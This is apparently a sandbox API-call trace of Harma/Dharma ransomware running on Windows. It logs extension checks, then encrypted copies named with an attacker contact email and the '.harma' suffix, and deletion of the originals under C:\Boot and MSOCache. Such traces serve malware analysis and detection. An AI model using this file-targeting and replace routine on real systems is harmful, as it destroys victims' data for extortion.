lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0039.518] lstrlenW (lpString=".xls") returned 4 [0039.518] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0039.518] lstrlenW (lpString=".xlsx") returned 5 [0039.518] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0039.518] lstrlenW (lpString=".ppt") returned 4 [0039.518] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0039.518] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.518] lstrlenW (lpString=".zip") returned 4 [0039.518] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0039.518] lstrlenW (lpString=".rar") returned 4 [0039.518] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0039.518] lstrlenW (lpString=".bz2") returned 4 [0039.519] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0039.519] lstrlenW (lpString=".7z") returned 3 [0039.519] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0039.519] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.519] lstrlenW (lpString=".dbf") returned 4 [0039.519] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0039.519] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.519] lstrlenW (lpString=".1cd") returned 4 [0039.519] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0039.519] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.519] lstrlenW (lpString=".jpg") returned 4 [0039.519] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0039.519] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.519] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.519] lstrlenW (lpString=".doc") returned 4 [0039.519] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0039.519] lstrlenW (lpString=".docx") returned 5 [0039.519] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0039.519] lstrlenW (lpString=".pdf") returned 4 [0039.519] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0039.519] lstrlenW (lpString=".xls") returned 4 [0039.519] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0039.519] lstrlenW (lpString=".xlsx") returned 5 [0039.519] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0039.520] lstrlenW (lpString=".ppt") returned 4 [0039.520] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0039.520] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.520] lstrlenW (lpString=".zip") returned 4 [0039.520] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0039.520] lstrlenW (lpString=".rar") returned 4 [0039.520] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0039.520] lstrlenW (lpString=".bz2") returned 4 [0039.520] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0039.520] lstrlenW (lpString=".7z") returned 3 [0039.520] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0039.520] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.520] lstrlenW (lpString=".dbf") returned 4 [0039.520] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0039.520] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.520] lstrlenW (lpString=".1cd") returned 4 [0039.520] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0039.520] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.520] lstrlenW (lpString=".jpg") returned 4 [0039.520] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0039.520] lstrcmpiW (lpString1=".LOG", lpString2=".harma") returned 1 [0039.521] lstrlenW (lpString="BCD.LOG") returned 7 [0039.521] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.521] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.521] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.521] lstrlenW (lpString=".doc") returned 4 [0039.521] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0039.521] lstrlenW (lpString=".docx") returned 5 [0039.521] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0039.521] lstrlenW (lpString=".pdf") returned 4 [0039.521] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0039.521] lstrlenW (lpString=".xls") returned 4 [0039.521] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0039.521] lstrlenW (lpString=".xlsx") returned 5 [0039.521] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0039.521] lstrlenW (lpString=".ppt") returned 4 [0039.521] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0039.521] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.521] lstrlenW (lpString=".zip") returned 4 [0039.521] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0039.521] lstrlenW (lpString=".rar") returned 4 [0039.521] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0039.521] lstrlenW (lpString=".bz2") returned 4 [0039.521] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0039.522] lstrlenW (lpString=".7z") returned 3 [0039.522] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0039.522] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.522] lstrlenW (lpString=".dbf") returned 4 [0039.522] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0039.522] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.522] lstrlenW (lpString=".1cd") returned 4 [0039.522] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0039.522] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.522] lstrlenW (lpString=".jpg") returned 4 [0039.522] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0039.522] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.522] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.522] lstrlenW (lpString=".doc") returned 4 [0039.522] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0039.522] lstrlenW (lpString=".docx") returned 5 [0039.522] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0039.522] lstrlenW (lpString=".pdf") returned 4 [0039.522] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0039.522] lstrlenW (lpString=".xls") returned 4 [0039.522] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0039.522] lstrlenW (lpString=".xlsx") returned 5 [0039.522] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0039.522] lstrlenW (lpString=".ppt") returned 4 [0039.522] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0039.523] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.523] lstrlenW (lpString=".zip") returned 4 [0039.523] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0039.523] lstrlenW (lpString=".rar") returned 4 [0039.523] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0039.523] lstrlenW (lpString=".bz2") returned 4 [0039.523] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0039.523] lstrlenW (lpString=".7z") returned 3 [0039.523] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0039.523] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.523] lstrlenW (lpString=".dbf") returned 4 [0039.523] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0039.523] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.523] lstrlenW (lpString=".1cd") returned 4 [0039.523] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0039.523] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0039.523] lstrlenW (lpString=".jpg") returned 4 [0039.523] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0039.523] lstrcmpiW (lpString1=".DAT", lpString2=".harma") returned -1 [0039.523] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0039.523] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.531] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=65536) returned 1 [0039.531] CloseHandle (hObject=0x164) returned 1 [0039.532] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0039.532] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.532] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.532] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.532] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.532] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.533] GetLastError () returned 0x0 [0039.533] ReadFile (in: hFile=0x164, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x10000, lpOverlapped=0x0) returned 1 [0039.536] WriteFile (in: hFile=0x168, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0039.539] ReadFile (in: hFile=0x164, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.539] WriteFile (in: hFile=0x168, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0039.539] SetEndOfFile (hFile=0x168) returned 1 [0039.539] CloseHandle (hObject=0x168) returned 1 [0039.541] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.541] SetEndOfFile (hFile=0x164) returned 1 [0039.543] CloseHandle (hObject=0x164) returned 1 [0039.543] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x26) returned 1 [0039.543] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0039.543] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.544] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.544] lstrlenW (lpString=".doc") returned 4 [0039.544] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0039.544] lstrlenW (lpString=".docx") returned 5 [0039.544] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0039.544] lstrlenW (lpString=".pdf") returned 4 [0039.544] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0039.544] lstrlenW (lpString=".xls") returned 4 [0039.544] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0039.544] lstrlenW (lpString=".xlsx") returned 5 [0039.544] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0039.544] lstrlenW (lpString=".ppt") returned 4 [0039.544] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0039.544] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.544] lstrlenW (lpString=".zip") returned 4 [0039.544] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0039.544] lstrlenW (lpString=".rar") returned 4 [0039.544] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0039.544] lstrlenW (lpString=".bz2") returned 4 [0039.544] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0039.544] lstrlenW (lpString=".7z") returned 3 [0039.544] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0039.544] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.544] lstrlenW (lpString=".dbf") returned 4 [0039.544] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0039.544] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.545] lstrlenW (lpString=".1cd") returned 4 [0039.545] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0039.545] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.545] lstrlenW (lpString=".jpg") returned 4 [0039.545] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0039.545] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.545] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.545] lstrlenW (lpString=".doc") returned 4 [0039.545] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0039.545] lstrlenW (lpString=".docx") returned 5 [0039.545] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0039.545] lstrlenW (lpString=".pdf") returned 4 [0039.545] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0039.545] lstrlenW (lpString=".xls") returned 4 [0039.545] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0039.545] lstrlenW (lpString=".xlsx") returned 5 [0039.545] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0039.545] lstrlenW (lpString=".ppt") returned 4 [0039.545] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0039.545] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.545] lstrlenW (lpString=".zip") returned 4 [0039.545] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0039.545] lstrlenW (lpString=".rar") returned 4 [0039.545] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0039.545] lstrlenW (lpString=".bz2") returned 4 [0039.546] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0039.546] lstrlenW (lpString=".7z") returned 3 [0039.546] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0039.546] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.546] lstrlenW (lpString=".dbf") returned 4 [0039.546] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0039.546] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.546] lstrlenW (lpString=".1cd") returned 4 [0039.546] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0039.546] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0039.546] lstrlenW (lpString=".jpg") returned 4 [0039.546] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0039.546] Sleep (dwMilliseconds=0x64) [0039.651] Sleep (dwMilliseconds=0x64) [0039.760] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.760] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0039.760] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0039.761] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1450) returned 1 [0039.761] CloseHandle (hObject=0x170) returned 1 [0039.761] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0039.761] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.761] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0039.761] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.762] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.762] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0039.762] GetLastError () returned 0x0 [0039.762] ReadFile (in: hFile=0x170, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0039.947] WriteFile (in: hFile=0x174, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0039.948] ReadFile (in: hFile=0x170, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.948] WriteFile (in: hFile=0x174, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0039.948] SetEndOfFile (hFile=0x174) returned 1 [0039.948] CloseHandle (hObject=0x174) returned 1 [0039.949] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.949] SetEndOfFile (hFile=0x170) returned 1 [0039.950] CloseHandle (hObject=0x170) returned 1 [0039.950] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0039.950] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0039.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.950] lstrlenW (lpString=".doc") returned 4 [0039.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.950] lstrlenW (lpString=".docx") returned 5 [0039.950] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.950] lstrlenW (lpString=".pdf") returned 4 [0039.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.950] lstrlenW (lpString=".xls") returned 4 [0039.950] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.950] lstrlenW (lpString=".xlsx") returned 5 [0039.951] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.951] lstrlenW (lpString=".ppt") returned 4 [0039.951] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.951] lstrlenW (lpString=".zip") returned 4 [0039.951] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.951] lstrlenW (lpString=".rar") returned 4 [0039.951] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.951] lstrlenW (lpString=".bz2") returned 4 [0039.951] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.951] lstrlenW (lpString=".7z") returned 3 [0039.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.951] lstrlenW (lpString=".dbf") returned 4 [0039.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.951] lstrlenW (lpString=".1cd") returned 4 [0039.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.951] lstrlenW (lpString=".jpg") returned 4 [0039.951] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.951] lstrlenW (lpString=".doc") returned 4 [0039.951] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.951] lstrlenW (lpString=".docx") returned 5 [0039.951] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.951] lstrlenW (lpString=".pdf") returned 4 [0039.951] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.951] lstrlenW (lpString=".xls") returned 4 [0039.952] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.952] lstrlenW (lpString=".xlsx") returned 5 [0039.952] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.952] lstrlenW (lpString=".ppt") returned 4 [0039.952] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.952] lstrlenW (lpString=".zip") returned 4 [0039.952] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.952] lstrlenW (lpString=".rar") returned 4 [0039.952] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.952] lstrlenW (lpString=".bz2") returned 4 [0039.952] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.952] lstrlenW (lpString=".7z") returned 3 [0039.952] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.952] lstrlenW (lpString=".dbf") returned 4 [0039.952] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.952] lstrlenW (lpString=".1cd") returned 4 [0039.952] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0039.952] lstrlenW (lpString=".jpg") returned 4 [0039.952] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.952] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.952] lstrlenW (lpString="Setup.xml") returned 9 [0039.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0039.953] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2424) returned 1 [0039.953] CloseHandle (hObject=0x170) returned 1 [0039.953] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.953] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 